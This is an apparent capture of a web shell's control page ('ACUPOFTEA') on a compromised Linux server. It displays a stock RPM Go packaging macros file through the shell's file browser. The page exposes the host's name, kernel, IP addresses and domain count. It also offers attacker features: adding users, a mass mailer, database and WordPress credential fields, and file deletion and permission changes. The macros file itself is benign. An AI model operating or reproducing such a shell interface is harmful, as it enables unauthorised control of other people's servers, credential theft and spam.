System
:
Linux server1.ontime-gulf.com 4.18.0-553.5.1.el8_10.x86_64 #1 SMP Wed Jun 5 09:12:13 EDT 2024 x86_64
Software
:
Apache
Server
:
162.0.230.206
Domains
:
40 Domain
Permission
:
[
drwxr-xr-x
]
:
/
lib
/
rpm
/
macros.d
/
216.73.216.50
Select
Submit
Home
Add User
Mailer
About
DBName
DBUser
DBPass
DBHost
WpUser
WpPass
Input e-mail
ACUPOFTEA for mail.ontime-ae.com made by tabagkayu.
Folder Name
File Name
File Content
File
macros.go-srpm
# Copyright (c) 2015-2021 Jakub Cajka <jcajka@redhat.com>, # Jan Chaloupka <jchaloup@redhat.com>, # Nicolas Mailhot <nim@fedoraproject.org> # Alejandro Saez Morollon <asm@redhat.com> # This file is distributed under the terms of GNU GPL license version 3, or # any later version. # This file contains macros for building projects in golang for packages # with golang compiler or gcc-go compiler based on an architecture. # Golang is primarly for primary architectures, gcc-go for secondary. # # This file provides only macros and must not use any other package except # redhat-rpm-macros. # Define arches for PA and SA %golang_arches x86_64 %{arm} aarch64 ppc64le s390x %gccgo_arches %{mips} %go_arches %{golang_arches} %{gccgo_arches} # Where to set GOPATH for builds %gopath %{_datadir}/gocode # Define go_compilers macro to signal go-compiler package is available %go_compiler 1 # Sanitize a Go import path that can then serve as rpm package name # Mandatory parameter: a Go import path %gorpmname() %{lua: local goname = rpm.expand("%1") -- lowercase and end with '/' goname = string.lower(goname .. "/") -- remove eventual protocol prefix goname = string.gsub(goname, "^http(s?)://", "") -- add golang prefix goname = "golang-" .. goname -- remove FQDN root (.com, .org, etc) goname = string.gsub(goname, "^([^/]+)%.([^%./]+)/", "%1/") -- special-case x.y.z number-strings as that’s an exception in our naming -- guidelines repeat goname, i = string.gsub(goname, "(%d)%.(%d)", "%1:%2") until i == 0 -- replace various separators rpm does not like with - goname = string.gsub(goname, "[%._/%-]+", "-") -- because of the Azure sdk goname = string.gsub(goname, "%-for%-go%-", "-") -- Tokenize along - separators and remove duplicates to avoid -- golang-foo-foo-bar-foo names local result = "" local tokens = {} tokens["go"] = true tokens["git"] = true for token in string.gmatch(goname, "[^%-]+") do if not tokens[token] then result = result .. "-" .. token tokens[token] = true end end -- reassemble the string, restore x.y.z runs, convert the vx.y.z -- Go convention to x.y.z as prefered in rpm naming result = string.gsub(result, "^-", "") result = string.gsub(result, ":", ".") -- some projects have a name that end up in a number, and *also* add release -- numbers on top of it, keep a - prefix before version strings result = string.gsub(result, "%-v([%.%d])", "-%1") print(result) } # Map Go information to rpm metadata. This macro will compute default spec # variable values. # # The following spec variable MUST be set before calling the macro: # # goipath the packaged Go project import path # # The following spec variables SHOULD be set before calling the macro: # # forgeurl the project url on the forge, strongly recommended, if it can not # be deduced from goipath; alternatively, use -u <url> # Version if applicable, set it with Version: <version> # tag if applicable # commit if applicable # # The macro will attempt to compute and set the following variables if they are # not already set by the packager: # # goname an rpm-compatible package name derived from goipath # gosource an URL that can be used as SourceX: value # gourl an URL that can be used as URL: value # # It will delegate processing to the forgemeta macro for: # # forgesource an URL that can be used as SourceX: value # forgesetupargs the correct arguments to pass to %setup for this source # used by %forgesetup and %forgeautosetup # archivename the source archive filename, without extentions # archiveext the source archive filename extensions, without leading dot # archiveurl the url that can be used to download the source archive, # without renaming # scm the scm type, when packaging code snapshots: commits or tags # # If the macro is unable to parse your forgeurl value set at least archivename # and archiveurl before calling it. # # Most of the computed variables are both overridable and optional. However, # the macro WILL REDEFINE %{dist} when packaging a snapshot (commit or tag). # The previous %{dist} value will be lost. Don’t call the macro if you don’t # wish %{dist} to be changed. # # Optional parameters: # -u <url> Ignore forgeurl even if it exists and use <url> instead. Note # that the macro will still end up setting <url> as the forgeurl # spec variable if it manages to parse it. # -s Silently ignore problems in forgeurl, use it if it can be parsed, # ignore it otherwise. # -p Restore problem handling, override -s. # -v Be verbose and print every spec variable the macro sets. # -i Print some info about the state of spec variables the macro may use or # set at the end of the processing. %gometa(u:spvi) %{expand:%{lua: local forgeurl = rpm.expand("%{?-u*}") if (forgeurl == "") then forgeurl = rpm.expand("%{?forgeurl}") end -- Be explicit about the spec variables we’re setting local function explicitset(rpmvariable,value) rpm.define(rpmvariable .. " " .. value) if (rpm.expand("%{?-v}") ~= "") then rpm.expand("%{echo:Setting %%{" .. rpmvariable .. "} = " .. value .. "\\n}") end end -- Never ever stomp on a spec variable the packager already set local function safeset(rpmvariable,value) if (rpm.expand("%{?" .. rpmvariable .. "}") == "") then explicitset(rpmvariable,value) end end -- All the Go packaging automation relies on goipath being set local goipath = rpm.expand("%{?goipath}") if (goipath == "") then rpm.expand("%{error:Please set the Go import path in the “goipath” variable before calling “gometa”!}") end -- Compute and set spec variables if (forgeurl ~= "") then rpm.expand("%forgemeta %{?-v} %{?-i} %{?-s} %{?-p} -u " .. forgeurl .. "\\n") safeset("gourl", forgeurl) else safeset("gourl", "https://" .. goipath) rpm.expand("%forgemeta %{?-v} %{?-i} -s %{?-p} -u %{gourl}\\n") end if (rpm.expand("%{?forgesource}") ~= "") then safeset("gosource", "%{forgesource}") else safeset("gosource", "%{gourl}/%{archivename}.%{archiveext}") end safeset("goname", "%gorpmname %{goipath}") -- Final spec variable summary if the macro was called with -i if (rpm.expand("%{?-i}") ~= "") then rpm.expand("%{echo:Go-specific packaging variables}") rpm.expand("%{echo: goipath: %{?goipath}}") rpm.expand("%{echo: goname: %{?goname}}") rpm.expand("%{echo: gourl: %{?gourl}}") rpm.expand("%{echo: gosource: %{?gosource}}") end} BuildRequires: compiler(go-compiler) ExclusiveArch: %{go_arches} } # Define commands for building # BUILD_ID can be generated for golang build no matter of debuginfo %gobuild(o:) \ CGO_CPPFLAGS="-D_FORTIFY_SOURCE=2 -fstack-protector-all" go build -compiler gc -buildmode pie '-tags=rpm_crashtraceback libtrust_openssl ' -ldflags "-linkmode=external -compressdwarf=false ${LDFLAGS:-} -B 0x$(head -c20 /dev/urandom|od -An -tx1|tr -d ' \\n') -extldflags '%__global_ldflags'" -a -v -x %{?**};\ # Define commands for testing %gotest() go test -compiler gc -ldflags "${LDFLAGS:-}" %{?**};
New name for
Are you sure will delete
?
New date for
New perm for
Name
Type
Size
Permission
Last Modified
Actions
.
DIR
-
drwxr-xr-x
2025-10-13 10:57:15
..
DIR
-
drwxr-xr-x
2024-12-18 10:57:28
macros.dwz
text/plain
1.76 KB
-rw-r--r--
2023-04-06 08:55:45
macros.efi-srpm
text/plain
3.01 KB
-rw-r--r--
2021-04-08 10:38:23
macros.environment-modules
text/plain
75 B
-rw-r--r--
2020-07-30 12:13:34
macros.fedora-misc
text/plain
2.76 KB
-rw-r--r--
2023-04-06 08:55:45
macros.fedora-misc-srpm
text/plain
239 B
-rw-r--r--
2023-04-06 08:55:45
macros.firewalld
text/plain
239 B
-rw-r--r--
2025-03-11 09:51:08
macros.forge
text/plain
12.43 KB
-rw-r--r--
2023-04-06 08:55:45
macros.ghc-srpm
text/plain
414 B
-rw-r--r--
2018-08-12 10:37:49
macros.go-srpm
text/plain
7.17 KB
-rw-r--r--
2021-04-08 02:45:20
macros.info
text/plain
390 B
-rw-r--r--
2022-04-18 05:09:26
macros.kernel-srpm
text/plain
116 B
-rw-r--r--
2023-04-06 08:55:45
macros.ldc-srpm
text/plain
73 B
-rw-r--r--
2023-04-06 08:55:45
macros.ldconfig
text/plain
307 B
-rw-r--r--
2023-04-06 08:55:45
macros.mono-srpm
text/plain
181 B
-rw-r--r--
2023-04-06 08:55:45
macros.nodejs-srpm
text/plain
324 B
-rw-r--r--
2023-04-06 08:55:45
macros.ocaml-srpm
text/plain
737 B
-rw-r--r--
2019-10-14 08:31:03
macros.openblas-srpm
text/plain
104 B
-rw-r--r--
2019-10-16 08:47:30
macros.perl
text/plain
5.06 KB
-rw-r--r--
2025-07-28 08:01:58
macros.perl-srpm
text/plain
794 B
-rw-r--r--
2019-10-13 02:18:38
macros.pybytecompile
text/plain
886 B
-rw-r--r--
2023-05-16 12:55:39
macros.python
text/plain
3.36 KB
-rw-r--r--
2023-05-16 12:55:39
macros.python-srpm
text/plain
5.95 KB
-rw-r--r--
2023-05-16 12:55:39
macros.python2
text/plain
1.82 KB
-rw-r--r--
2022-04-21 03:26:14
macros.python3
text/plain
3.63 KB
-rw-r--r--
2023-05-16 12:55:39
macros.rust-srpm
text/plain
61 B
-rw-r--r--
2018-01-08 07:15:07
macros.scl
text/plain
13.53 KB
-rw-r--r--
2023-04-01 04:10:31
macros.selinux-policy
text/plain
6.61 KB
-rw-r--r--
2024-12-17 04:10:18
macros.systemd
text/plain
4.03 KB
-rw-r--r--
2025-04-22 01:58:19
macros.systemtap
text/plain
206 B
-rw-r--r--
2023-10-14 01:06:48
macros.valgrind-srpm
text/plain
127 B
-rw-r--r--
2023-04-06 08:55:45
macros.vim
text/plain
40 B
-rw-r--r--
2025-10-12 12:16:44
macros.vpath
text/plain
228 B
-rw-r--r--
2023-04-06 08:55:45
~ ACUPOFTEA - mail.ontime-ae.com